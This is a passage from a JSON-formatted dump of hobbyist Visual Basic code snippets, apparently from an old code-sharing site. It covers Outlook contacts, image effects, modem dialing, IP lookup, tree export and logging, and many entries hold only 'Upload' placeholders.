simple\n MsgBox \"Contact has been Added\", vbInformation\n \n \n 'Release Outlook\n \n Set oOutlook = Nothing\n \nEnd Sub"},{"WorldId":1,"id":25137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25154,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25166,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25169,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25171,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25173,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25176,"LineNumber":1,"line":"Right click on any selected folder and click rename.\n Put the following extension after a \".\" \n\nWindows Icon(Real Icon)\n{00021401-0000-0000-C000-000000000046}\n\nNetwork\n{208D2C60-3AEA-1069-A2D7-08002B30309D}\nMy Computer\n{20D04FE0-3AEA-1069-A2D8-08002B30309D}\nDesktop\n{9E56BE61-C50F-11CF-9A2C-00A0C90A90CE}\nInternet Explorer\n{FBF23B42-E3F0-101B-8488-00AA003E56F8}\nRecyclebin\n{645FF040-5081-101B-9F08-00AA002F954E}\nPowerpoint\n{64818D11-4F9B-11CF-86EA-00AA00B929E8}\nControl Panel Original\n{21EC2020-3AEA-1069-A2DD-08002B30309D}\n\nPrinters Original\n{2227A280-3AEA-1069-A2DE-08002B30309D}\nHTML document Original\n{25336920-03F9-11CF-8FD0-00AA00686F13}\nTask Shedule\n{255b3f60-829e-11cf-8d8b-00aa0060f5bf}\nAdobe Photoshop Image(Original)\n{119F01C5-E62B-11d2-AB3E-00C04FA3014E}\nWave File(Original)\n{0003000D-0000-0000-C000-000000000046}\nMovie Clip(Original)\n{00022602-0000-0000-C000-000000000046}\n"},{"WorldId":1,"id":25180,"LineNumber":1,"line":"sub validDate()\n If txtDate.Text <> \"\" Then\n If IsDate(txtDate) = False Then\n MsgBox \"You have entered an Invalid Date in Last Contacted please use MM/DD/YYYY\", , \"Invalid Entry\"\n txtDate.text= \"\"\n Else\n txtDate.Text = Format(txtDate.Text, \"General Date\")\n End If\nElse\n txtDate.Text = Date\nEnd If\nend sub"},{"WorldId":1,"id":25181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25190,"LineNumber":1,"line":"Public Function Round(Number As Variant, _\n Optional NumDigitsAfterDecimal As Long) As Variant\n If Not IsNumeric(Number) Then\n Round = Number\n Else\n Round = Fix(CDec(Number * (10 ^ NumDigitsAfterDecimal)) + 0.5 * Sgn(Number)) / _\n (10 ^ NumDigitsAfterDecimal)\n End If\nEnd Function"},{"WorldId":1,"id":25191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25204,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25213,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25219,"LineNumber":1,"line":"Public Function runapp(strname As String, appname As String) As Long\nDim strResult As String\nDim lngResult As Long\nDim i, s_msg\n \n s_msg = MsgBox(\"Launch \" & appname & \" ?\", vbYesNo, appname)\n If s_msg = vbYes Then\n strResult = String(255, 0)\n lngResult = FindExecutable(strname, vbNullString, strResult)\n strResult = Trim(Replace(strResult, \"/dde\", \"\", 1))\n'run the file and not an .exe file\n i = Shell(Trim(Replace(strResult, vbNullChar, \"\", 1)) & \" \" & strname, 1)\n End If\n \n \nEnd Function"},{"WorldId":1,"id":25223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25246,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25257,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25275,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25287,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25294,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25300,"LineNumber":1,"line":"Public Sub TVLines(PictBox As PictureBox, Optional Direction As Integer, Optional Opacity As Long)\nDim i As Long, k As Long, r As Long, g As Long, b As Long, pixel As Long, pix As Long\nIf IsMissing(Opacity) Then Opacity = 25\nIf IsMissing(Direction) Then Direction = 1\nOpacity = Opacity * 2.55\nOpacity = Round(Opacity)\nFor k = 0 To PictBox.ScaleHeight - 1\n For i = 0 To PictBox.ScaleWidth - 1\n 'get current pixel\n pixel = GetPixel(PictBox.HDC, i, k)\n \n 'get rgb values of the pixel\n r = TakeRGB(pixel, 0)\n g = TakeRGB(pixel, 1)\n b = TakeRGB(pixel, 2)\n \n 'the code alternates lightness/darkness each line\n If Direction = 1 Then\n pix = k\n Else\n pix = i\n End If\n \n If pix / 2 = Int(pix / 2) Then\n r = IIf(r - Opacity < 0, 0, r - Opacity)\n g = IIf(g - Opacity < 0, 0, g - Opacity)\n b = IIf(b - Opacity < 0, 0, b - Opacity)\n Else\n r = IIf(r + Opacity > 255, 255, r + Opacity)\n g = IIf(g + Opacity > 255, 255, g + Opacity)\n b = IIf(b + Opacity > 255, 255, b + Opacity)\n End If\n \n 'set new pixel\n SetPixel PictBox.HDC, i, k, RGB(r, g, b)\n Next i\n PictBox.Refresh\nNext k\nPictBox.Refresh\nEnd Sub\n'just a function to get rgb values of a pixel\n'I borrowed it from Jongmin Baek's Drawer (an exellect program, btw)\nFunction TakeRGB(Colors As Long, Index As Long) As Long\nIndexColor = Colors\nRed = IndexColor - Int(IndexColor / 256) * 256: IndexColor = (IndexColor - Red) / 256\nGreen = IndexColor - Int(IndexColor / 256) * 256: IndexColor = (IndexColor - Green) / 256\nBlue = IndexColor\nIf Index = 0 Then TakeRGB = Red\nIf Index = 1 Then TakeRGB = Green\nIf Index = 2 Then TakeRGB = Blue\nEnd Function"},{"WorldId":1,"id":25303,"LineNumber":1,"line":"Dim A As Integer\nDim Instring as String\nPrivate Sub Dialcmd_Click()\nOn Error GoTo pe\nIf A = 0 Then\n MSComm1.CommPort = 3\n MSComm1.Settings = \"9600,N,8,1\" ' 9600 baud, no parity, 8 data, 1 stop bit\n MSComm1.InputLen = 0 'Sets to read all buffer when input is used\n MSComm1.PortOpen = True\n A = 1\n MSComm1.Output = \"AT\" + Chr$(13) ' Sends \"attention\" command to the modem\n Do\n DoEvents\n Loop Until MSComm1.InBufferCount >= 2 'Waits for \"OK\"\n Instring = MSComm1.Input 'The \"OK\": Instring should = \"AT|||OK|\"\n MSComm1.Output = ATDT & PhoneNumberHere & Chr(13) 'Dials phone #, ATDT(tone) or ATDP(pulse)\nEnd If\nGoTo 2\npe:\nIf MSComm1.PortOpen = True Then MSComm1.PortOpen = False\n2\nEnd Sub\nPrivate Sub Hangup_Click()\nIf A = 1 Then MSComm1.PortOpen = False: A = 0 'closes port\nEnd Sub"},{"WorldId":1,"id":25305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25315,"LineNumber":1,"line":"'sample output:\n'\n'+- 07/21/01 - 11:57:09 PM\n'| \\- Shell_TrayWnd - \"\"\n'| |- Button - \"\"\n'| |- TrayNotifyWnd - \"\"\n'| | \\- TrayClockWClass - \"\"\n'| |- MSTaskSwWClass - \"\"\n'| \\- SysTabControl32 - \"\"\n'**************************************\nFunction exportTree(tree As TreeView) As String\n Dim txtlen As Long, txtbuffer As String, index As Long\n Dim vlines() As Boolean, ret as String\n ret = chr(13) & chr(10)\n ReDim Preserve vlines(0)\n vlines(0) = True\n numchildren = 0\n exportTree = \"+- \" & Format(Date, \"mm/dd/yy\") & \" - \" & Format(Time, \"hh:mm:ss AM/PM\") & \" - \"\n Dim depth As Integer, start As Long\n index = Tree.Nodes.Item(1).FirstSibling.index\n Do\n On Error Resume Next\n Err.Clear\n index2 = Tree.Nodes.Item(index).Next.index\n If Err.Number = 91 Then\n On Error GoTo 0\n vlines(0) = False\n exportTree = exportTree & ret & \"| \\- \" & Tree.Nodes.Item(index).Text _\n & getchildren(index, 0, vlines)\n Exit Do\n Else\n On Error GoTo 0\n exportTree = exportTree & ret & \"| |- \" & Tree.Nodes.Item(index).Text _\n & getchildren(index, 0, vlines)\n index = Tree.Nodes.Item(index).Next.index\n End If\n Loop\n exportTree = exportTree & ret & \"|\" & ret & \"|\" & ret & \"|\" & ret & \"|\"\nEnd Function\n'the following function calls itself over and over for each child and returns with\n'ALL of the children and their children, etc. of the current item in the tree\nFunction getchildren(ByVal index As Long, ByVal childcnt As Integer, ByRef vlines() As Boolean, Optional data As String = \"\") As String\n Dim children As Integer\n childcnt = childcnt + 1\n ReDim Preserve vlines(childcnt)\n children = Tree.Nodes.Item(index).children\n If children > 1 Then\n vlines(childcnt) = True\n data = data & ret & childspaces(childcnt, vlines) & \"|- \" & Tree.Nodes.Item(index).Child\n Call getchildren(Tree.Nodes.Item(index).Child.index, childcnt, vlines, data)\n index = Tree.Nodes.Item(index).Child.index\n \n For i% = 3 To children\n data = data & ret & childspaces(childcnt, vlines) & \"|- \" & Tree.Nodes.Item(index).Next\n Call getchildren(Tree.Nodes.Item(index).Next.index, childcnt, vlines, data)\n index = Tree.Nodes.Item(index).Next.index\n Next i%\n \n vlines(childcnt) = False\n data = data & ret & childspaces(childcnt, vlines) & \"\\- \" & Tree.Nodes.Item(index).Next\n Call getchildren(Tree.Nodes.Item(index).Next.index, childcnt, vlines, data)\n \n ElseIf children = 1 Then\n vlines(childcnt) = False\n data = data & ret & childspaces(childcnt, vlines) & \"\\- \" & Tree.Nodes.Item(index).Child\n Call getchildren(Tree.Nodes.Item(index).Child.index, childcnt, vlines, data)\n End If\n getchildren = data\nEnd Function\n'This function is used to insert the correct amount of space from the edge\n'to make all the children line up properly\nFunction childspaces(childcnt As Integer, vlines() As Boolean) As String\n childspaces$ = \"| \"\n For i% = 1 To childcnt\n childspaces$ = childspaces$ & IIf(vlines(i% - 1), \"| \", \" \")\n Next i%\nEnd Function"},{"WorldId":1,"id":25316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25324,"LineNumber":1,"line":"Private Declare Function InternetAutodialHangup Lib \"wininet.dll\" (ByVal dwReserved_ As Long) As Long \n \nFunction HangUp() \nInternetAutodialHangup 0& \nEnd Function\n"},{"WorldId":1,"id":25325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25334,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25406,"LineNumber":1,"line":"I keep getting an error when I try to upload my zip file, so please go here to download it:\nhttp://storm.prohosting.com/eric650/game3.zip\ngoing to that link will bring up a new page, you must click on the link on this new page to begin the download"},{"WorldId":1,"id":25407,"LineNumber":1,"line":"Private Sub List1_Click()\nDim X As Long\nDim y As Long\nDim j As Long\nj = 0\n' Add selected items to ListBox2\n For X = 0 To List1.ListCount - 1\n If List1.Selected(X) = True Then\n List2.AddItem List1.List(X)\n End If\n Next\n \n ' Get rid of the now unselected items\n \n Dim i As Long\n For y = 0 To List1.ListCount - 1\n For i = 0 To List1.ListCount - 1\n List2.Text = List2.List(i)\n If List2.List(i) = List1.List(y) And List1.Selected(y) = False Then\n List2.RemoveItem i\n End If\n Next i\n Next\n'Get rid of any duplicates in ListBox2\n \nDo While j < List2.ListCount\n \n List2.Text = List2.List(j)\n \n If List2.ListIndex <> j Then\n List2.RemoveItem j\n Else\n j = j + 1\n End If\nLoop\n \nEnd Sub\n"},{"WorldId":1,"id":25408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25445,"LineNumber":1,"line":"Dim strUNC As String\n If GetUNCPath(\"H:\", strUNC) = NO_ERROR Then\n MsgBox \"The UNC of the specified drive is \" & strUNC\n Else\n MsgBox \"There was a problem, sorry!\"\n End If"},{"WorldId":1,"id":25456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25462,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25469,"LineNumber":1,"line":"'use GetIPAddress and GetIPHostName\nOption Explicit\nPublic Const MAX_WSADescription = 256\nPublic Const MAX_WSASYSStatus = 128\nPublic Const ERROR_SUCCESS As Long = 0\nPublic Const WS_VERSION_REQD As Long = &H101\nPublic Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \\ &H100 And &HFF&\nPublic Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&\nPublic Const MIN_SOCKETS_REQD As Long = 1\nPublic Const SOCKET_ERROR As Long = -1\nPublic Type HOSTENT\n hName As Long\n hAliases As Long\n hAddrType As Integer\n hLen As Integer\n hAddrList As Long\nEnd Type\nPublic Type WSADATA\n wVersion As Integer\n wHighVersion As Integer\n szDescription(0 To MAX_WSADescription) As Byte\n szSystemStatus(0 To MAX_WSASYSStatus) As Byte\n wMaxSockets As Integer\n wMaxUDPDG As Integer\n dwVendorInfo As Long\nEnd Type\nPublic Declare Function WSAGetLastError Lib \"WSOCK32.DLL\" () As Long\nPublic Declare Function WSAStartup Lib \"WSOCK32.DLL\" _\n(ByVal wVersionRequired As Long, lpWSADATA As WSADATA) As Long\nPublic Declare Function WSACleanup Lib \"WSOCK32.DLL\" () As Long\nPublic Declare Function gethostname Lib \"WSOCK32.DLL\" _\n(ByVal szHost As String, ByVal dwHostLen As Long) As Long\nPublic Declare Function gethostbyname Lib \"WSOCK32.DLL\" _\n(ByVal szHost As String) As Long\nPublic Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" _\n(hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)\nPublic Function GetIPAddress() As String\nDim sHostName As String * 256\nDim lpHost As Long\nDim HOST As HOSTENT\nDim dwIPAddr As Long\nDim tmpIPAddr() As Byte\nDim i As Integer\nDim sIPAddr As String\nIf Not SocketsInitialize() Then\n GetIPAddress = \"\"\n Exit Function\nEnd If\nIf gethostname(sHostName, 256) = SOCKET_ERROR Then\n GetIPAddress = \"\"\n MsgBox \"Windows Sockets error \" & Str$(WSAGetLastError()) & _\n \" has occurred. Unable to successfully get Host Name.\"\n SocketsCleanup\n Exit Function\nEnd If\nsHostName = Trim$(sHostName)\nlpHost = gethostbyname(sHostName)\nIf lpHost = 0 Then\n GetIPAddress = \"\"\n MsgBox \"Windows Sockets are not responding. \" & _\n \"Unable to successfully get Host Name.\"\n SocketsCleanup\n Exit Function\nEnd If\nCopyMemory HOST, lpHost, Len(HOST)\nCopyMemory dwIPAddr, HOST.hAddrList, 4\nReDim tmpIPAddr(1 To HOST.hLen)\nCopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLen\nFor i = 1 To HOST.hLen\nsIPAddr = sIPAddr & tmpIPAddr(i) & \".\"\nNext\nGetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)\nSocketsCleanup\nEnd Function\nPublic Function GetIPHostName() As String\nDim sHostName As String * 256\nIf Not SocketsInitialize() Then\n GetIPHostName = \"\"\n Exit Function\nEnd If\nIf gethostname(sHostName, 256) = SOCKET_ERROR Then\n GetIPHostName = \"\"\n MsgBox \"Windows Sockets error \" & Str$(WSAGetLastError()) & _\n \" has occurred. Unable to successfully get Host Name.\"\n SocketsCleanup\n Exit Function\nEnd If\nGetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)\nSocketsCleanup\nEnd Function\nPublic Function HiByte(ByVal wParam As Integer)\nHiByte = wParam \\ &H100 And &HFF&\nEnd Function\nPublic Function LoByte(ByVal wParam As Integer)\nLoByte = wParam And &HFF&\nEnd Function\n\nPublic Sub SocketsCleanup()\nIf WSACleanup() <> ERROR_SUCCESS Then\n MsgBox \"Socket error occurred in Cleanup.\"\nEnd If\nEnd Sub\n\nPublic Function SocketsInitialize() As Boolean\nDim WSAD As WSADATA\nDim sLoByte As String\nDim sHiByte As String\nIf WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS Then\n MsgBox \"The 32-bit Windows Socket is not responding.\"\n SocketsInitialize = False\n Exit Function\nEnd If\nIf WSAD.wMaxSockets < MIN_SOCKETS_REQD Then\n MsgBox \"This application requires a minimum of \" & _\n CStr(MIN_SOCKETS_REQD) & \" supported sockets.\"\n SocketsInitialize = False\n Exit Function\nEnd If\nIf LoByte(WSAD.wVersion) < WS_VERSION_MAJOR Or _\n(LoByte(WSAD.wVersion) = WS_VERSION_MAJOR And _\nHiByte(WSAD.wVersion) < WS_VERSION_MINOR) Then\n sHiByte = CStr(HiByte(WSAD.wVersion))\n sLoByte = CStr(LoByte(WSAD.wVersion))\n MsgBox \"Sockets version \" & sLoByte & \".\" & sHiByte & _\n \" is not supported by 32-bit Windows Sockets.\"\n SocketsInitialize = False\n Exit Function\nEnd If\n'must be OK, so lets do it\nSocketsInitialize = True\nEnd Function\n"},{"WorldId":1,"id":25478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25489,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25497,"LineNumber":1,"line":"ADDED: AutoHide features. \nControl can be downloaded/viewed from: \nhttp://www.planetsourcecode.com/xq/ASP/txtCodeId.24861/lngWId.1/qx/vb/scripts/ShowCode.htm"},{"WorldId":1,"id":25533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25544,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25548,"LineNumber":1,"line":"Public Sub UnRGB(ByVal color As OLE_COLOR, ByRef R As Integer, ByRef G As Integer, ByRef B As Integer)\n B = color \\ 65536\n G = (color \\ 256) Mod 256\n R = color Mod 256\nEnd Sub\n'Destination Picture Cannont be the Source Picture itself\nPublic Sub bmp_Rotate(PicSrc As PictureBox, PicDest As PictureBox, degree As Single)\n yc = PicSrc.height / 30\n xc = PicSrc.width / 30\n R = Sqr(yc * yc)\n For x = 0 To (PicSrc.width - 80) / 5\n For y = 0 To (PicSrc.height - 80) / 5\n 'Let the user see the result every 4000 pixels\n u = u + 1: If u = 8000 Then DoEvents: u = 0\n pix = PicSrc.Point(x * 5 - 5, y * 5 - 5)\n yy = y - PicSrc.height / 10\n xx = x - PicSrc.width / 10\n SinA = yy / R\n CosA = xx / R\n SinB = Sin(degree / 57.3248)\n CosB = Cos(degree / 57.3248)\n SinApB = SinA * CosB + CosA * SinB\n CosApB = CosA * CosB - SinA * SinB\n nx = R * CosApB\n ny = R * SinApB\n xorigin = PicDest.width / 2\n yorigin = PicDest.height / 2\n PicDest.PSet (xorigin + nx * 5, yorigin + ny * 5), pix\n Next y, x\nEnd Sub\nPublic Sub bmp_Blur(PicSrc As PictureBox)\n For x = 1 To PicSrc.width / 15\n For y = 1 To PicSrc.height / 15\n 'Let the user see the result every 4000 pixels\n u = u + 1: If u = 4000 Then DoEvents: u = 0\n p = PicSrc.Point(x * 15 - 15, y * 15 - 15)\n If p < 0 Then p = 0\n UnRGB p, R%, G%, B%\n p1 = PicSrc.Point((x - 1) * 15 - 15, y * 15 - 15)\n If p1 < 0 Then p1 = 0\n UnRGB p1, R1%, G1%, B1%\n p2 = PicSrc.Point((x + 1) * 15 - 15, y * 15 - 15)\n If p2 < 0 Then p2 = 0\n UnRGB p2, R2%, G2%, B2%\n p3 = PicSrc.Point(x * 15 - 15, (y - 1) * 15 - 15)\n UnRGB p3, R3%, G3%, B3%\n If p3 < 0 Then p3 = 0\n p4 = PicSrc.Point(x * 15 - 15, (y + 1) * 15 - 15)\n If p4 < 0 Then p4 = 0\n UnRGB p4, R4%, G4%, B4%\n R1 = (R1 + R) / 2\n R2 = (R2 + R) / 2\n R3 = (R3 + R) / 2\n R4 = (R4 + R) / 2\n G1 = (G1 + G) / 2\n G2 = (G2 + G) / 2\n G3 = (G3 + G) / 2\n G4 = (G4 + G) / 2\n B1 = (B1 + B) / 2\n B2 = (B2 + B) / 2\n B3 = (B3 + B) / 2\n B4 = (B4 + B) / 2\n PicSrc.PSet ((x - 1) * 15 - 15, y * 15 - 15), RGB(Fix(R1%), Fix(G1%), Fix(B1%))\n PicSrc.PSet ((x + 1) * 15 - 15, y * 15 - 15), RGB(Fix(R2%), Fix(G2%), Fix(B2%))\n PicSrc.PSet (x * 15 - 15, (y - 1) * 15 - 15), RGB(Fix(R3%), Fix(G3%), Fix(B3%))\n PicSrc.PSet (x * 15 - 15, (y + 1) * 15 - 15), RGB(Fix(R4%), Fix(G4%), Fix(B4%))\n Next y, x\nEnd Sub\n'Destination Cannont be the Source Picture itself\nPublic Sub bmp_FlipHorizontal(PicSrc As PictureBox, PicDest As PictureBox)\n For x = 0 To PicSrc.width / 15\n For y = 0 To PicSrc.height / 15\n 'Let the user see the result every 4000 pixels\n u = u + 1: If u = 4000 Then DoEvents: u = 0\n pix = PicSrc.Point(x * 15, y * 15)\n PicDest.PSet (PicSrc.width - (x * 15) - 80, y * 15), pix\n Next y, x\nEnd Sub\n'Destination Cannont be the Source Picture itself\nPublic Sub bmp_FlipVertical(PicSrc As PictureBox, PicDest As PictureBox)\n For x = 0 To PicSrc.width / 15\n For y = 0 To PicSrc.height / 15\n 'Let the user see the result every 4000 pixels\n u = u + 1: If u = 4000 Then DoEvents: u = 0\n pix = PicSrc.Point(x * 15, y * 15)\n PicDest.PSet (x * 15, PicSrc.height - (y * 15) - 80), pix\n Next y, x\nEnd Sub\nPublic Sub bmp_GrayScale(PicSrc As PictureBox)\n For x = 0 To PicSrc.width / 15\n For y = 0 To PicSrc.height / 15\n 'Let the user see the result every 4000 pixels\n u = u + 1: If u = 4000 Then DoEvents: u = 0\n pix = PicSrc.Point(x * 15, y * 15)\n UnRGB pix, R%, G%, B%\n GC = (R + G + B) / 3\n PicSrc.PSet (x * 15, y * 15), RGB(GC, GC, GC)\n Next y, x\nEnd Sub\nPublic Sub bmp_AddNoise(PicSrc As PictureBox)\n For x = 1 To PicSrc.width / 50\n For y = 1 To PicSrc.height / 50\n 'Let the user see the result every 4000 pixels\n u = u + 1: If u = 4000 Then DoEvents: u = 0\n UnRGB pix, R%, G%, B%\n GC = (R + G + B) / 3\n R = Fix(Rnd * 255)\n G = Fix(Rnd * 255)\n B = Fix(Rnd * 255)\n PicSrc.PSet (x * 50 + 45 * Rnd - 50, y * 50 + 45 * Rnd - 50), RGB(R, G, B)\n Next y, x\nEnd Sub"},{"WorldId":1,"id":25555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25570,"LineNumber":1,"line":"Option Explicit\n'================================\n' Michael Schmidt July 2001\n' mikes@mtdmarketing.com\n'================================\n'================================\n' Example:\n' Public MyLog As Log\n'\n' Private Form_Load\n' On Error Goto ErrorSub\n'\n' MyLog = New Log\n' Log (\"Loading Form...\")\n' Log (\"Unloading Form...\",\"Hello!\")\n'\n' Exit Sub\n' ErrorSub:\n'\n' LogError(Err,\"Error in MySub\")\n'\n' End Sub\n'=================================\n' The EVENT function was never \n' implemented, if you compile \n' this into a DLL then you should \n' be able to use the EVENT feature\n' quite handy.\n'==================================\nPrivate LogFile As Long\nPrivate LogName As String\nPrivate Const Comma = \",\"\nPrivate Const Quote = \"\"\"\"\nPrivate Const Space = \" \"\nPrivate oDateTime\nPrivate oType\nPrivate oGeneralInfo\nPrivate oDetailedInfo\nEvent LogIn(logData As String)\nPrivate Sub LogError(objError As ErrObject, strSubFailed As String)\n oDateTime = \"(\" & Date & Space & Time & \")\"\n oType = \"ERROR\"\n oGeneralInfo = \"Error \" & objError.Number & \" - \" & Err.Description\n oDetailedInfo = strSubFailed\n AppendLog\n \nEnd Sub\nPrivate Sub Log(strGeneral As String, Optional strDetailed As String)\n oDateTime = \"(\" & Date & Space & Time & \")\"\n oType = \"GENERAL\"\n oGeneralInfo = strGeneral\n oDetailedInfo = strDetailed\n \n AppendLog\nEnd Sub\nPrivate Sub AppendLog()\nDim CSVstring As String\nDim BASstring As String\n \n CSVstring = Quote & oDateTime & Quote & Comma & _\n Quote & oType & Quote & Comma & _\n Quote & oGeneralInfo & Quote & Comma & _\n Quote & oDetailedInfo & Quote\n BASstring = oDateTime & Space & _\n oType & Space & _\n oGeneralInfo & _\n oDetailedInfo\n \n RaiseEvent LogIn(BASstring)\n ' Print to LOG\n Open LogName For Append As #LogFile\n Print #LogFile, CSVstring\n Close #LogFile\nEnd Sub\nPrivate Sub Class_Initialize()\n LogName = App.Path & \"\\Session.log\"\n LogFile = FreeFile()\n \n Open LogName For Output As #LogFile\n Close #LogFile\n \n Log (\"[Log Started]\")\nEnd Sub\n'=================================\n' Path Property\n'=================================\nProperty Get LogFilePathName() As String\n LogFilePathName = LogName\nEnd Property\nPrivate Sub Class_Terminate()\n Log (\"[Log Ended]\")\nEnd Sub\n"},{"WorldId":1,"id":25572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25593,"LineNumber":1,"line":"'add a command button and a textbox to your form\nOption Explicit\nFunction 